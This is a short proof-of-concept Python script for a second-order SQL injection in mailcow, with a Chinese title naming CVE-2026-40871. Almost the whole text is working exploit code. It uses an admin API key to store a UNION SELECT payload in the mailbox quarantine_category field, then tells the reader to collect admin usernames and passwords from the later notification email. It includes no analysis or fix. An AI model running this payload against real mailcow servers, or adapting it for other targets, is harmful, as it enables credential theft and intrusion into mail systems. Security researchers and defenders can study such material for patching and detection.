CVE-2026-40871 mailcow二阶SQL注入漏洞

# PoC for CVE-2026-40871: Second-order SQL Injection in mailcow # This script demonstrates how to inject a payload into the quarantine_category field. import requests target_url = "https://<mailcow-domain>/api/v1/add/mailbox" api_key = "<VALID_ADMIN_API_KEY>" # Requires High Privileges (PR:H) # Payload attempts to exfiltrate data using UNION SELECT # The injected SQL will be executed later by quarantine_notify.py sql_payload = "test' UNION SELECT username, password FROM admin -- " payload_data = { "domain": "example.com", "local_part": "testuser", "name": "Test User", "quota": "1024", "password": "StrongPassword123!", "quarantine_category": sql_payload # Vulnerable parameter } headers = { "X-API-Key": api_key, "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload stored successfully.") print("[+] Wait for the quarantine notification job to run.") print("[+] Check the generated notification email for exfiltrated admin credentials.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")